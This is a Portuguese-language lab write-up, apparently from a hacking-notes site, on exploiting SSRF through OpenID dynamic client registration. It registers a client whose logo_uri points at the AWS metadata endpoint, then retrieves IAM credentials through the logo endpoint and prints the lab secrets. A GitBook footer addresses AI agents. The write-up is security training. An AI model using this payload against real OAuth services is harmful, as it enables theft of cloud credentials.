> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).
# SSRF via Registro Dinâmico de Cliente OpenID
### SSRF via registro dinâmico de cliente OpenID
**Objetivo do laboratório**
Este laboratório opera um recurso dinâmico de registro de cliente OpenID\*\*. Alguns dos dados fornecidos pelo cliente são usados de forma insegura pelo serviço OAuth, o que abre caminho para um **SSRF**.
O objetivo é explorar essa falha para acessar o seguinte endpoint interno e recuperar o segredo **chave de acesso à nuvem** do provedor OAuth:
* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`
**Acesso inicial**
Você pode se conectar com uma conta de usuário padrão:
* **Identificador**: wiener
* **Senha**: peter
**Descoberta OpenID**
Analisando o feed OAuth, identificamos o endpoint padrão de configuração OpenID:
```bash
/.well-known/openid-configuration
```
Este recurso apresenta todos os endpoints usados pelo provedor OAuth, incluindo:
{% code overflow="wrap" %}
```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```
{% endcode %}
* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**
O campo-chave aqui é:
```
/reg
```
Ele permite o registro dinâmico de novos clientes.
```http
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}
```
**Registro de Cliente OAuth**
Uma consulta é interceptada para `/reg` e convertida em uma **POST** consulta com o cabeçalho:
```http
Content-Type: application/json
```
Um registro mínimo funciona com um JSON muito simples:
```json
{
"redirect_uris": [
"https://test.com"
]
}
```
O servidor responde criando uma nova aplicação OAuth e retorna, em particular:
* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`
Isso confirma que o registro dinâmico está ativo e não é restritivo.
{% code overflow="wrap" %}
```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```
{% endcode %}
**Injeção de SSRF via `logo_uri`**
O `logo_uri` campo, projetado para carregar uma imagem associada ao cliente, é particularmente interessante. / Ele é recuperado no lado do servidor sem validação rígida de URL.
Um novo cliente é registrado com um `logo_uri` apontando para o IP interno da AWS:
```json
{
"redirect_uris": [
"https://jord4n.pro"
],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```
O servidor aceita a solicitação e retorna um novo `client_id`.
**Acesso ao logo do cliente**
Cada cliente tem um endpoint para recuperar seu logo:
```
GET /client//logo
```
```http
GET /client/1767128152/logo
```
Usando as `client_id` obtido anteriormente:
```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```
**Exfiltração de metadados da AWS**
A resposta não contém uma imagem, mas diretamente as \*\*credenciais internas do IAM\*\*:
```json
{
"Code" : "Success",
"LastUpdated" : "2025-12-31T18:55:47.398604832Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
"SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
"Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
"Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```
`SecretAccessKey` é o valor esperado para validar o laboratório.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.